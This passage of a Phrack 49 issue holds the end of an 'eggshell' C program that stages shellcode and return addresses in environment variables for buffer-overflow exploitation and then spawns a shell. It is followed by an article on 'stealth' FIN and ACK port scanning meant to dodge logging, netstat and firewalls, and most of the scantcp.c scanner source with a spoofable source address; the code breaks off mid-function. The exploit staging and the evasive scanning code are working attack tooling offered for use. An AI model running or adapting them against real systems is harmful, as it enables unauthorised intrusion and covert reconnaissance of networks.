  10832.   while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
  10833.     switch (c) {
  10834.       case 'a':
  10835.         align = atoi(optarg);
  10836.         break;
  10837.       case 'b':
  10838.         bsize = atoi(optarg);
  10839.         break;
  10840.       case 'e':
  10841.         eggsize = atoi(optarg);
  10842.         break;
  10843.       case 'o':
  10844.         offset = atoi(optarg);
  10845.         break;
  10846.       case '?':
  10847.         usage();
  10848.         exit(0);
  10849.     }
  10850.  
  10851.   if (strlen(shellcode) > eggsize) {
  10852.     printf("Shellcode is larger the the egg.\n");
  10853.     exit(0);
  10854.   }
  10855.  
  10856.   if (!(bof = malloc(bsize))) {
  10857.     printf("Can't allocate memory.\n");
  10858.     exit(0);
  10859.   }
  10860.   if (!(egg = malloc(eggsize))) {
  10861.     printf("Can't allocate memory.\n");
  10862.     exit(0);
  10863.   }
  10864.  
  10865.   addr = get_sp() - offset;
  10866.   printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
  10867.     bsize, eggsize, align);
  10868.   printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
  10869.  
  10870.   addr_ptr = (long *) bof;
  10871.   for (i = 0; i < bsize; i+=4)
  10872.     *(addr_ptr++) = addr;
  10873.  
  10874.   ptr = egg;
  10875.   for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
  10876.     for (n = 0; n < NOP_SIZE; n++) {
  10877.       m = (n + align) % NOP_SIZE;
  10878.       *(ptr++) = nop[m];
  10879.     }
  10880.  
  10881.   for (i = 0; i < strlen(shellcode); i++)
  10882.     *(ptr++) = shellcode[i];
  10883.  
  10884.   bof[bsize - 1] = '\0';
  10885.   egg[eggsize - 1] = '\0';
  10886.  
  10887.   memcpy(egg,"EGG=",4);
  10888.   putenv(egg);
  10889.  
  10890.   memcpy(bof,"BOF=",4);
  10891.   putenv(bof);
  10892.   system("/bin/sh");
  10893. }
  10894.  
  10895. void usage(void) {
  10896.   (void)fprintf(stderr,
  10897.     "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
  10898. }
  10899. ------------------------------------------------------------------------------
  10900.                               .oO Phrack 49 Oo.
  10901.  
  10902.                           Volume Seven, Issue Forty-Nine
  10903.  
  10904.                                     15 of 16
  10905.  
  10906.  
  10907.              Port Scanning without the SYN flag / Uriel Maimon
  10908.                   (lifesux@cox.org)
  10909.             ---------------------------------------------------------
  10910.  
  10911.  
  10912.     Introduction :
  10913.     --------------
  10914.  
  10915. During the course of time, there has risen a demand to know the services
  10916. a certain host offers.  The field of portscanning rose to offer a solution
  10917. to this need.  At first, implementations such as SATAN, connected to each
  10918. tcp port using the full three-way-handshake (opening a full tcp connection).
  10919. The upside to this method is that the user who is scanning does not need to
  10920. custom build the ip packet he is scanning with, because he uses standard
  10921. system calls, and does not need root access (generally a uid of 0 is needed
  10922. to use SOCK_RAW, /dev/bpf,/dev/nit and so forth) the major down side to this
  10923. method is that it is easily detectable and also easily detered, using any 
  10924. number of methods, most notably the TCP Wrappers made by Wietse Venema.
  10925.  
  10926. The next step was of course SYN-scanning or 'half open scanning' which 
  10927. implies that a full tcp connection is never established.  The process of 
  10928. establishing a tcp connection is three phased: the originating party first
  10929. sends a TCP packet with the SYN flag on, then the target party sends a TCP 
  10930. packet with the flags SYN and ACK on if the port is open, or, if the port
  10931. is closed, the target party resets the connection with the RST flag.  The 
  10932. third phase of the negotiation is when the originating party sends a final 
  10933. TCP packet with the ACK flag on (all these packets, of course, have the 
  10934. corresponding sequence numbers, ack numbers, etc).  The connection is now
  10935. open.  A SYN-scanner only sends the first packet in the three-way-handshake, 
  10936. the SYN packet, and waits for the SYN|ACK or a RST.  When it receives one of 
  10937. the two it knows whether or not the port is listening. The major advantage to
  10938. this method is that it is not detected by normal logs such as "SATAN 
  10939. detectors" or Wiestse's tcp_wrappers.  The main disadvantages are: 
  10940.  
  10941. 1) This method can still be detected by certian loggers that log SYN 
  10942. connection attempts ('tcplog' for example), and can still be detected by 
  10943. netstat(1).  
  10944.  
  10945. 2) The sender, under most operating systems, needs to custom build the
  10946. entire IP packet for this kind of scanning (I don't know of any operating 
  10947. system under which this is not true, if you know of one, please let me know).
  10948. This requires access to SOCK_RAW (getprotbyname('raw'); under most systems)
  10949. or /dev/bpf (Berkeley packet filter), /dev/nit (Sun 'Network Interface Tap')
  10950. etc.  This usually requires root or privileged group access. 
  10951.  
  10952. 3) A great deal of firewalls who would filter out this scan, will not
  10953. filter out the StealthScan(TM) (all rights reserved to vicious little red 
  10954. blow ficiouz deliciouz (kosher) chicken surpass INC PLC LTD).
  10955.  
  10956.  
  10957.      A note about UDP portscanning:
  10958.     ------------------------------
  10959.  
  10960. In this article I will ignore UDP portscanning for the simple reason that it 
  10961. lacks the complexity of tcp; it is not a connection oriented stream protocol
  10962. but rather a connectionless datagram protocol.  To scan a UDP port to see if 
  10963. it is listening, simply send any UDP packet to the port.  You will receive 
  10964. an ICMP 'Destination Port Unreachable' packet if the port is not listening.
  10965.  
  10966. To the best of my knowledge this is the only way to scan UDP ports.  I will 
  10967. be glad to be corrected -- if anyone knows of a different method please 
  10968. E-mail me. 
  10969.  
  10970.  
  10971.     The StealthScan:
  10972.     ----------------
  10973.  
  10974. This method relies on bad net code in the BSD code.  Since most of the 
  10975. networking code in most any operating system today is BSD netcode or a 
  10976. derivative thereof it works on most systems.  (A most obvious exception to 
  10977. this is Cisco routers...  Gosh!  GOOD networking code ?!?@$! <GASP> HERESY!
  10978. Alan Cox will have a heart attack when he hears of this!)
  10979.  
  10980. Disadvantages of this technique:
  10981.  
  10982. 1) The IP packet must still be custom built.  I see no solution for this
  10983. problem, unless some really insecure system calls will be put in.  I see 
  10984. no real need for this because SLIP/PPP services are so common these days,
  10985. getting super user access on a machine is not a problem any more.
  10986.  
  10987. 2) This method relies on bugs in net code.  This can and probably will be 
  10988. fixed in the near future.  (Shhhhhh.  Don't tell Alan Cox.  He hates good  
  10989. efficient networking code.) OpenBSD, for example, has already fixed this bug. 
  10990.  
  10991. 3) The outcome of a scan is never known, and the outcome is not similar over 
  10992. different architectures and operating systems.  It is not reliable. 
  10993.  
  10994. Main advantages of this method over the other methods: 
  10995.  
  10996. 1) Very difficult to log.  Even once the method is known, devising a logging
  10997. method without fixing the actual bug itself is problematic. 
  10998.  
  10999. 2) Can circumvent some firewalls. 
  11000.  
  11001. 3) Will not show up on netstat(1).
  11002.  
  11003. 4) Does not consist of any part of the standard TCP three-way-handshake.
  11004.  
  11005. 5) Several different methods consisting of the same principle.
  11006.  
  11007. The actual algorithm : 
  11008.  
  11009. I use TCP packets with the ACK, and FIN flags turned on. I use these simply  
  11010. because they are packets that should always return RST on an unopened
  11011. connection sent to a port.  From now on I refer to such packets as 'RST' , 
  11012. 'FIN', or 'ACK' packets. 
  11013.  
  11014. method #1:
  11015.  
  11016. Send a FIN packet.  If the destination host returns a RST then the port is 
  11017. closed, if there is no return RST then the port is listening.  The fact that 
  11018. this method works on so many hosts is a sad testimonial to the state of the 
  11019. networking code in most operating system kernels. 
  11020.  
  11021. method #2
  11022.  
  11023. Send an ACK packet.  If the returning packets ttl is lower than in the 
  11024. rest of the RST packets received, or if the window size is greater than 
  11025. zero, the port is probably listening.  
  11026.  
  11027. (Note on the ttl:  This bug is almost understandable.  Every function in IP 
  11028. is a routing function.  With every interface change, the packets ttl is 
  11029. subtracted by one.  In the case of an open port, the ttl was decremented when
  11030. it was received and examined, but when it was 'noticed' the flag was not a 
  11031. SYN, a RST was sent, with a ttl one lower then if the port had simply been 
  11032. closed.  This might not be the case.  I have not checked this theory against 
  11033. the BSD networking code.  Feel free to correct me. 
  11034.  
  11035.         Uriel
  11036. /*
  11037.  * scantcp.c
  11038.  * 
  11039.  * version 1.32 
  11040.  *  
  11041.  * Scans for listening TCP ports by sending packets to them and waiting for
  11042.  * replies. Relys upon the TCP specs and some TCP implementation bugs found 
  11043.  * when viewing tcpdump logs. 
  11044.  *
  11045.  * As always, portions recycled (eventually, with some stops) from n00k.c
  11046.  * (Wow, that little piece of code I wrote long ago still serves as the base
  11047.  *  interface for newer tools)
  11048.  * 
  11049.  * Technique:
  11050.  * 1. Active scanning: not supported - why bother.
  11051.  * 
  11052.  * 2. Half-open scanning:
  11053.  *      a. send SYN
  11054.  *      b. if reply is SYN|ACK send RST, port is listening
  11055.  *      c. if reply is RST, port is not listening
  11056.  * 
  11057.  * 3. Stealth scanning: (works on nearly all systems tested)
  11058.  *      a. sends FIN
  11059.  *      b. if RST is returned, not listening. 
  11060.  *      c. otherwise, port is probably listening.
  11061.  * 
  11062.  * (This bug in many TCP implementations is not limited to FIN only; in fact
  11063.  *  many other flag combinations will have similar effects. FIN alone was
  11064.  *  selected because always returns a plain RST when not listening, and the
  11065.  *  code here was fit to handle RSTs already so it took me like 2 minutes
  11066.  *  to add this scanning method)
  11067.  * 
  11068.  * 4. Stealth scanning: (may not work on all systems)
  11069.  *      a. sends ACK
  11070.  *      b. waits for RST
  11071.  *      c. if TTL is low or window is not 0, port is probably listening. 
  11072.  * 
  11073.  * (stealth scanning was created after I watched some tcpdump logs with
  11074.  *  these symptoms. The low-TTL implementation bug is currently believed
  11075.  *  to appear on Linux only, the non-zero window on ACK seems to exists on
  11076.  *  all BSDs.)
  11077.  * 
  11078.  * CHANGES:
  11079.  * --------
  11080.  * 0. (v1.0) 
  11081.  *    - First code, worked but was put aside since I didn't have time nor 
  11082.  *      need to continue developing it. 
  11083.  * 1. (v1.1)
  11084.  *    - BASE CODE MOSTLY REWRITTEN (the old code wasn't that maintainable)
  11085.  *    - Added code to actually enforce the usecond-delay without usleep()
  11086.  *      (replies might be lost if usleep()ing)
  11087.  * 2. (v1.2)
  11088.  *    - Added another stealth scanning method (FIN). 
  11089.  *      Tested and passed on:
  11090.  *      AIX 3
  11091.  *      AIX 4 
  11092.  *      IRIX 5.3 
  11093.  *      SunOS 4.1.3   
  11094.  *      System V 4.0 
  11095.  *      Linux 
  11096.  *      FreeBSD  
  11097.  *      Solaris
  11098.  *    
  11099.  *      Tested and failed on:
  11100.  *      Cisco router with services on ( IOS 11.0)
  11101.  *
  11102.  * 3. (v1.21) 
  11103.  *    - Code commented since I intend on abandoning this for a while.
  11104.  *
  11105.  * 4. (v1.3)
  11106.  *    - Resending for ports that weren't replied for.
  11107.  *      (took some modifications in the internal structures. this also
  11108.  *     makes it possible to use non-linear port ranges 
  11109.  *     (say 1-1024 and 6000))
  11110.  *
  11111.  * 5. (v1.31)
  11112.  *    - Flood detection - will slow up the sending rate if not replies are
  11113.  *    recieved for STCP_THRESHOLD consecutive sends. Saves alot of resends
  11114.  *    on easily-flooded networks.
  11115.  * 
  11116.  * 6. (v1.32)
  11117.  *      - Multiple port ranges support. 
  11118.  *        The format is: <start-end>|<num>[,<start-end>|<num>,...]
  11119.  *
  11120.  *        Examples: 20-26,113
  11121.  *                  20-100,113-150,6000,6660-6669
  11122.  *           
  11123.  * PLANNED: (when I have time for this)
  11124.  * ------------------------------------
  11125.  * (v2.x) - Multiple flag combination selections, smart algorithm to point
  11126.  *          out uncommon replies and cross-check them with another flag 
  11127.  *        
  11128.  */
  11129.  
  11130. #define RESOLVE_QUIET
  11131.  
  11132. #include <stdio.h>
  11133. #include <netinet/in.h>
  11134. #include <netinet/ip.h>
  11135. #include <netinet/ip_tcp.h>
  11136. #include <sys/time.h>
  11137. #include <sys/types.h>
  11138. #include <sys/socket.h>
  11139. #include <unistd.h>
  11140. #include <stdlib.h>
  11141. #include <string.h>
  11142. #include <signal.h>
  11143. #include <errno.h>
  11144.  
  11145. #include "resolve.c"
  11146. #include "tcppkt03.c"
  11147.  
  11148. #define STCP_VERSION "1.32"
  11149. #define STCP_PORT  1234               /* Our local port. */
  11150. #define STCP_SENDS 3            
  11151. #define STCP_THRESHOLD 8
  11152. #define STCP_SLOWFACTOR 10
  11153.  
  11154. /* GENERAL ROUTINES ------------------------------------------- */
  11155.  
  11156. void banner(void)
  11157.      {
  11158.     printf("\nscantcp\n");
  11159.     printf("version %s\n",STCP_VERSION);
  11160.      }
  11161.     
  11162. void usage(const char *progname)
  11163.      {
  11164.     printf("\nusage: \n");
  11165.     printf("%s <method> <source> <dest> <ports> <udelay> <delay> [sf]\n\n",progname);
  11166.         printf("\t<method> : 0: half-open scanning (type 0, SYN)\n");
  11167.     printf("\t           1: stealth scanning (type 1, FIN)\n");
  11168.     printf("\t           2: stealth scanning (type 2, ACK)\n");
  11169.     printf("\t<source> : source address (this host)\n");
  11170.     printf("\t<dest>   : target to scan\n");
  11171.     printf("\t<ports>  : ports/and or ranges to scan - eg: 21-30,113,6000\n");
  11172.     printf("\t<udelay> : microseconds to wait between TCP sends\n");
  11173.     printf("\t<delay>  : seconds to wait for TCP replies\n");
  11174.     printf("\t[sf]     : slow-factor in case sends are dectected to be too fast\n\n");
  11175.      }
  11176.  
  11177. /* OPTION PARSING etc ---------------------------------------- */
  11178.  
  11179. unsigned char *dest_name;
  11180. unsigned char *spoof_name;
  11181. struct sockaddr_in destaddr;
  11182.  
  11183. unsigned long dest_addr;
  11184. unsigned long spoof_addr;
  11185. unsigned long usecdelay;
  11186. unsigned      waitdelay;
  11187.  
  11188. int slowfactor = STCP_SLOWFACTOR;
  11189.  
  11190. struct portrec                    /* the port-data structure */
  11191. {
  11192.    unsigned           n;
  11193.    int                state;
  11194.    unsigned char      ttl;
  11195.    unsigned short int window;
  11196.    unsigned long int  seq;
  11197.    char               sends;
  11198.  
  11199. } *ports;
  11200.  
  11201. char *portstr;
  11202.  
  11203. unsigned char scanflags;
  11204.  
  11205. int done;
  11206.  
  11207. int rawsock;                   /* socket descriptors */
  11208. int tcpsock;
  11209.  
  11210. int lastidx = 0;               /* last sent index */
  11211. int maxports;                          /* total number of ports */
  11212.  
  11213. void timeout(int signum)           /* timeout handler           */
  11214.      {                       /* this is actually the data */
  11215.     int someopen = 0;           /* analyzer function. werd.  */
  11216.     unsigned lastsent;
  11217.     int checklowttl = 0;
  11218.     
  11219.     struct portrec *p;
  11220.     
  11221.     printf("* SCANNING IS OVER\n\n");
  11222.     fflush(stdout);
  11223.     
  11224.     done = 1;
  11225.  
  11226.     
  11227.     for (lastsent = 0;lastsent<maxports;lastsent++)
  11228.       {
  11229.          p = ports+lastsent;
  11230.          if (p->state == -1) 
  11231.            if (p->ttl > 64)
  11232.            {
  11233.           checklowttl = 1;
  11234.           break;
  11235.            }
  11236.       }
  11237.                        
  11238. /* the above loop checks whether there's need to report low-ttl packets */
  11239.     
  11240.     for (lastsent = 0;lastsent<maxports;lastsent++)
  11241.       {    
  11242.          p = ports+lastsent;
  11243.          
  11244.          destaddr.sin_port = htons(p->n);
  11245.          
  11246.          tcpip_send(rawsock,&destaddr,
  11247.             spoof_addr,destaddr.sin_addr.s_addr,
  11248.             STCP_PORT,ntohs(destaddr.sin_port),
  11249.             TH_RST,
  11250.             p->seq++, 0,
  11251.             512,
  11252.             NULL,
  11253.             0);
  11254.       }                   /* just RST -everything- sent   */
  11255.                        /* this inclued packets a reply */
  11256.                        /* (even RST) was recieved for  */
  11257.     
  11258.     
  11259.     
  11260.     
  11261.     for (lastsent = 0;lastsent<maxports;lastsent++)
  11262.       {                   /* here is the data analyzer */
  11263.          p = ports+lastsent;
  11264.          switch (scanflags)
  11265.            {
  11266.         case TH_SYN:
  11267.           switch(p->state)
  11268.             {
  11269.              case -1: break;  
  11270.              case 1 : printf("# port %d is listening.\n",p->n);
  11271.                someopen++;
  11272.                break;
  11273.              case 2 : printf("# port %d maybe listening (unknown response).\n",
  11274.                      p->n);
  11275.                someopen++;
  11276.                break;
  11277.              default: printf("# port %d needs to be rescanned.\n",p->n);
  11278.             }
  11279.           break;
  11280.         case TH_ACK:
  11281.           switch (p->state)
  11282.             {
  11283.              case -1:
  11284.                if (((p->ttl < 65) && checklowttl) || (p->window >0))
  11285.              {
  11286.                 printf("# port %d maybe listening",p->n);
  11287.                 if (p->ttl < 65) printf(" (low ttl)");
  11288.                 if (p->window >0) printf(" (big window)");
  11289.                 printf(".\n");
  11290.                 someopen++;
  11291.              }
  11292.                break;
  11293.              case 1:
  11294.              case 2:  
  11295.                printf("# port %d has an unexpected response.\n",
  11296.                   p->n);
  11297.                break;
  11298.              default: 
  11299.                printf("# port %d needs to be rescanned.\n",p->n);
  11300.             }
  11301.           break;
  11302.         case TH_FIN:
  11303.           switch (p->state)
  11304.             {
  11305.              case -1:
  11306.                break;
  11307.              case 0 :
  11308.                printf("# port %d maybe open.\n",p->n);
  11309.                someopen++;
  11310.                break;
  11311.              default:
  11312.                printf("# port %d has an unexpected response.\n",p->n);
  11313.             }
  11314.            }
  11315.       }
  11316.     
  11317.     printf("-----------------------------------------------\n");
  11318.     printf("# total ports open or maybe open: %d\n\n",someopen);
  11319.     free(ports);
  11320.     
  11321.     exit(0);               /* heh. */
  11322.      
  11323.      }
  11324.  
  11325.  
  11326. int resolve_one(const char *name, unsigned long *addr, const char *desc)
  11327.      {
  11328.         struct sockaddr_in tempaddr;
  11329.     if (resolve(name, &tempaddr,0) == -1) {
  11330.        printf("error: can't resolve the %s.\n",desc);
  11331.        return -1;
  11332.     }
  11333.             
  11334.     *addr = tempaddr.sin_addr.s_addr;
  11335.            return 0;
  11336.      }
  11337.  
  11338. void give_info(void)
  11339.      {
  11340.     printf("# response address           : %s (%s)\n",spoof_name,inet_ntoa(spoof_addr));
  11341.     printf("# target address             : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
  11342.     printf("# ports                      : %s\n",portstr);
  11343.     printf("# (total number of ports)    : %d\n",maxports);
  11344.     printf("# delay between sends        : %lu microseconds\n",usecdelay);
  11345.     printf("# delay                      : %u seconds\n",waitdelay);
  11346.         printf("# flood dectection threshold : %d unanswered sends\n",STCP_THRESHOLD);
  11347.     printf("# slow factor                : %d\n",slowfactor);
  11348.         printf("# max sends per port         : %d\n\n",STCP_SENDS);
  11349.      }
  11350.  
  11351.  
  11352. int parse_args(int argc, char *argv[]) 
  11353. {
  11354.            
  11355.    if (strrchr(argv[0],'/') != NULL) 
  11356.      argv[0] = strrchr(argv[0],'/') + 1;
  11357.    
  11358.    if (argc < 7)  {
  11359.       printf("%s: not enough arguments\n",argv[0]);
  11360.       return -1;
  11361.    }
  11362.    
  11363.    switch (atoi(argv[1]))
  11364.      {
  11365.       case 0  : scanflags = TH_SYN; 
  11366.             break;
  11367.       case 1  : scanflags = TH_FIN; 
  11368.             break;
  11369.       case 2  : scanflags = TH_ACK;
  11370.             break;
  11371.       default : printf("%s: unknown scanning method\n",argv[0]);
  11372.             return -1;
  11373.      }
  11374.          
  11375.    spoof_name = argv[2];
  11376.    dest_name = argv[3];    
  11377.    
  11378.    portstr = argv[4];
  11379.    
  11380.    usecdelay = atol(argv[5]);
  11381.    waitdelay = atoi(argv[6]);
  11382.  
  11383.    if (argc > 7) slowfactor = atoi(argv[7]);
  11384.    
  11385.    if ((usecdelay == 0) && (slowfactor > 0))
  11386.      {
  11387.     printf("%s: adjusting microsecond-delay to 1usec.\n");
  11388.     usecdelay++;
  11389.      }
  11390.    return 0;                   
  11391. }
  11392.  
  11393. /* MAIN ------------------------------------------------------ */
  11394.  
  11395. int build_ports(char *str)       /* build the initial port-database */
  11396. {
  11397.    int i;
  11398.    int n;
  11399.    struct portrec *p;
  11400.    int sport;
  11401.    
  11402.    char *s;
  11403.    
  11404.    
  11405.    s        = str;
  11406.    maxports = 0;
  11407.    n        = 0;
  11408.    
  11409.    while (*s != '\0')
  11410.      {
  11411.     switch (*s)
  11412.       {
  11413.        case '0':
  11414.        case '1':
  11415.        case '2':
  11416.        case '3':
  11417.        case '4':
  11418.        case '5':
  11419.        case '6':
  11420.        case '7':
  11421.        case '8':
  11422.        case '9':
  11423.          n *= 10;
  11424.          n += (*s - '0');
  11425.          break;
  11426.        case '-': 
  11427.          if (n == 0) return -1;
  11428.          sport = n;
  11429.          n = 0;
  11430.          break;
  11431.        case ',': 
  11432.          if (n == 0) return -1;
  11433.          if (sport != 0)
  11434.            {
  11435.           if (sport >= n) return -1;
  11436.           maxports += n-sport;
  11437.           sport = 0;
  11438.            } else
  11439.            maxports++;
  11440.          n = 0;
  11441.          break;
  11442.       }
  11443.     s++;
  11444.      }
  11445.    if (n == 0) return -1;
  11446.    if (sport != 0)
  11447.      {
  11448.     if (sport >= n) return -1;
  11449.     maxports += n-sport;
  11450.     sport = 0;
  11451.      }
  11452.    else
  11453.      maxports++;
  11454.    
  11455.    maxports+=2;
  11456.    
  11457.    if ((ports = (struct portrec *)malloc((maxports)*sizeof(struct portrec))) == NULL)
  11458.      {
  11459.     fprintf(stderr,"\nerror: not enough memory for port database\n\n");
  11460.     exit(1);
  11461.      }
  11462.  
  11463.    s        = str;
  11464.    maxports = 0;
  11465.    n        = 0;
  11466.    
  11467.    while (*s != '\0')
  11468.      {
  11469.     switch (*s)
  11470.       {
  11471.        case '0':
  11472.        case '1':
  11473.        case '2':
  11474.        case '3':
  11475.        case '4':
  11476.        case '5':
  11477.        case '6':
  11478.        case '7':
  11479.        case '8':
  11480.        case '9':
  11481.          n *= 10;
  11482.          n += (*s - '0');
  11483.          break;
  11484.        case '-': 
  11485.          if (n == 0) return -1;
  11486.          sport = n;
  11487.          n = 0;
  11488.          break;
  11489.        case ',': 
  11490.          if (n == 0) return -1;
  11491.          if (sport != 0)
  11492.            {
  11493.           if (sport >= n) return -1;
  11494.           while (sport <= n)
  11495.             {
  11496.                for (i=0;i<maxports;i++)
  11497.              if ((ports+i)->n == sport) break;
  11498.                
  11499.                if (i < maxports-1 ) 
  11500.              printf("notice: duplicate port - %d\n",sport);
  11501.                else   
  11502.              {
  11503.                 (ports+maxports)->n = sport;
  11504.                 maxports++;
  11505.              }
  11506.                sport++;
  11507.             }
  11508.           sport = 0;
  11509.            } else
  11510.            {
  11511.           for (i=0;i<maxports;i++)
  11512.             if ((ports+i)->n == n) break;
  11513.                
  11514.           if (i < maxports-1 ) 
  11515.             printf("notice: duplicate port - %d\n",n);
  11516.           else     
  11517.             {
  11518.                (ports+maxports)->n = n;
  11519.                maxports++;
  11520.             }
  11521.            }
  11522.          n = 0;
  11523.          break;
  11524.       }
  11525.     s++;
  11526.      }
  11527.  
  11528.  
  11529.    if (n == 0) return -1;
  11530.    if (sport != 0)
  11531.      {
  11532.     if (sport >= n) return -1;
  11533.     while (sport <= n)
  11534.       {
  11535.          for (i=0;i<maxports;i++)
  11536.            if ((ports+i)->n == sport) break;
  11537.          
  11538.          if (i < maxports-1 ) 
  11539.            printf("notice: duplicate port - %d\n",sport);
  11540.          else   
  11541.            {
  11542.           (ports+maxports)->n = sport;
  11543.           maxports++;
  11544.            }
  11545.          sport++;
  11546.       }
  11547.     sport = 0;
  11548.      } else
  11549.      {
  11550.     for (i=0;i<maxports;i++)
  11551.       if ((ports+i)->n == n) break;
  11552.     
  11553.     if (i < maxports-1 ) 
  11554.       printf("notice: duplicate port - %d\n",n);
  11555.     else     
  11556.       {
  11557.          (ports+maxports)->n = n;
  11558.          maxports++;
  11559.       }
  11560.      }
  11561.    
  11562.    printf("\n");
  11563.    
  11564.    for (i=0;i<maxports;i++)
  11565.      {
  11566.     p        = ports+i;
  11567.     p->state = 0;
  11568.     p->sends = 0;
  11569.      }
  11570.   
  11571.    return 0;
  11572.    
  11573. }
  11574.    
  11575. struct portrec *portbynum(int num)
  11576. {
  11577.    int i = 0;
  11578.    
  11579.    while ( ((ports+i)->n != num) && (i<maxports) ) i++;
  11580.    
  11581.    if ( i == maxports ) return NULL;
  11582.  
  11583.    return (ports+i);
  11584. }
  11585.  
  11586. struct portrec *nextport(char save)
  11587. {
  11588.    struct portrec *p = ports;
  11589.    int doneports     = 0;
  11590.    
  11591.    int oldlastidx = lastidx;
  11592.       
  11593.    while (doneports != maxports)
  11594.      {
  11595.     p = ports+lastidx;
  11596.         
  11597.     if ((p->state != 0) || (p->sends == STCP_SENDS))
  11598.       {
  11599.          doneports++; 
  11600.          lastidx++;
  11601.          lastidx %= maxports;
  11602.       }
  11603.     else
  11604.       break;
  11605.      }
  11606.  
  11607.    if (save) 
  11608.      lastidx = oldlastidx;
  11609.    else
  11610.      lastidx = (lastidx + 1) % maxports;
  11611.    
  11612.    if (doneports == maxports) return NULL;
  11613.    
  11614.    return p;
  11615. }
  11616.    
  11617.    
  11618.    
  11619.  
  11620. inline unsigned long usecdiff(struct timeval *a, struct timeval *b)
  11621. {
  11622.    unsigned long s;
  11623.    
  11624.    s = b->tv_sec - a->tv_sec;
  11625.    s *= 1000000;
  11626.    s += b->tv_usec - a->tv_usec;
  11627.    
  11628.    return s;                   /* return the stupid microsecond diff */
  11629. }
  11630.  
  11631. void main(int argc, char *argv[])      
  11632. {
  11633.    int lastsent = 0;
  11634.    
  11635.    char buf[3000];
  11636.    
  11637.    struct iphdr  *ip   = (struct iphdr *)(buf);
  11638.    struct tcphdr *tcp  = (struct tcphdr *)(buf+sizeof(struct iphdr));
  11639.  
  11640.    struct sockaddr_in from;
  11641.    int fromlen;
  11642.   
  11643.    struct portrec *readport;
  11644.    
  11645.    fd_set rset, wset;
  11646.  
  11647.    struct timeval waitsend, now, del;
  11648.  
  11649.    unsigned long udiff;
  11650.    
  11651.    int sendthreshold = 0;
  11652.    
  11653.    
  11654.    banner();
  11655.    
  11656.    if (parse_args(argc,argv)) 
  11657.      {  
  11658.     usage(argv[0]); 
  11659.     return;
  11660.      }
  11661.    
  11662.    if (resolve_one(dest_name, 
  11663.             &dest_addr,
  11664.             "destination host")) exit(1);
  11665.    
  11666.    destaddr.sin_addr.s_addr = dest_addr;
  11667.    destaddr.sin_family = AF_INET;
  11668.  
  11669.    if (resolve_one(spoof_name,
  11670.             &spoof_addr,
  11671.             "source host")) exit(1);
  11672.    
  11673.    if ( build_ports(portstr) == -1) 
  11674.      {
  11675.     printf("\n%s: bad port string\n",argv[0]);
  11676.     usage(argv[0]);
  11677.     return;
  11678.      }
  11679.    
  11680.    give_info();
  11681.    
  11682.    if ((tcpsock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
  11683.      {
  11684.     printf("\nerror: couldn't get TCP raw socket\n\n");
  11685.     exit(1);
  11686.      }
  11687.    if ((rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  11688.      {
  11689.     printf("\nerror: couldn't get raw socket\n\n");
  11690.     exit(1);
  11691.      }
  11692.    
  11693.    /* well, let's get to it. */
  11694.    
  11695.    done = 0;
  11696.    
  11697.    printf("* BEGINNING SCAN\n");
  11698.    fflush(stdout);
  11699.  
  11700.    gettimeofday(&waitsend,NULL);
  11701.    
  11702.    while (!done)
  11703.      {
  11704.  
  11705.     if (nextport(1) == NULL) 
  11706.       {
  11707.          alarm(0);               /* no more sends, now we just  */
  11708.          signal(SIGALRM,timeout); /* to wait <waitdelay> seconds */
  11709.          alarm(waitdelay);        /* before resetting and giving */
  11710.       }                           /* results.                    */
  11711.  
  11712.     FD_ZERO(&rset);
  11713.     
  11714.     FD_SET(tcpsock,&rset);
  11715.     
  11716.     gettimeofday(&now,NULL);
  11717.     
  11718.         udiff = usecdiff(&waitsend,&now);
  11719.         
  11720.     /* here comes the multiple choice select().
  11721.      * well, there are 3 states: 
  11722.      * 1. already sent all the packets.
  11723.      * 2. didn't send all the packets, but it's not time for another send
  11724.      * 3. didn't send all the packets and it is time for another send.
  11725.      */
  11726.      
  11727.           if (nextport(1) != NULL)
  11728.       if (udiff > usecdelay)
  11729.       {
  11730.          FD_ZERO(&wset);
  11731.          FD_SET(rawsock,&wset);
  11732.          select(FD_SETSIZE,&rset,&wset,NULL,NULL);
  11733.       } else
  11734.       {
  11735.          del.tv_sec = 0;
  11736.          del.tv_usec = usecdelay;
  11737.          select(FD_SETSIZE,&rset,NULL,NULL,&del);
  11738.       }
  11739.     else
  11740.       select(FD_SETSIZE,&rset,NULL,NULL,NULL);
  11741.     
  11742.     if (FD_ISSET(tcpsock,&rset))   /* process the reply */
  11743.       {
  11744.          fromlen = sizeof(from);
  11745.          
  11746.          recvfrom(tcpsock,&buf,3000,0,
  11747.               (struct sockaddr *)&from,&fromlen);
  11748.          
  11749.          if (from.sin_addr.s_addr == destaddr.sin_addr.s_addr)
  11750.            if (ntohs(tcp->th_dport) == STCP_PORT)
  11751.            {
  11752.           printf("* got reply");
  11753.           
  11754.           readport = portbynum(ntohs(tcp->th_sport));
  11755.           
  11756.           if (readport == NULL) 
  11757.             printf(" -- bad port");
  11758.           else
  11759.             {
  11760.                sendthreshold = 0;
  11761.                if (!readport->state)  
  11762.              {
  11763.                 readport->ttl    = ip->ttl;
  11764.                 readport->window = tcp->th_win;
  11765.                 
  11766.                 if (tcp->th_flags & TH_RST)
  11767.                   {
  11768.                  readport->state = -1;
  11769.                  printf(" (RST)");
  11770.                  if (readport->ttl    < 65) printf(" (short ttl)");
  11771.                  if (readport->window > 0) printf(" (big window)");
  11772.                   }
  11773.                 else
  11774.                   if (tcp->th_flags & (TH_ACK | TH_SYN))
  11775.                   {
  11776.                  readport->state = 1;
  11777.                  printf(" (SYN+ACK)");
  11778.                  tcpip_send(rawsock,&destaddr,
  11779.                         spoof_addr,destaddr.sin_addr.s_addr,
  11780.                         STCP_PORT,readport->n,
  11781.                         TH_RST,
  11782.                         readport->seq++, 0,
  11783.                         512,
  11784.                         NULL,
  11785.                         0);
  11786.                   }
  11787.                 else
  11788.                   {
  11789.                  readport->state = 2;
  11790.                  printf(" (UNEXPECTED)");
  11791.                  tcpip_send(rawsock,&destaddr,
  11792.                         spoof_addr,destaddr.sin_addr.s_addr,
  11793.                         STCP_PORT,readport->n,
  11794.                         TH_RST,
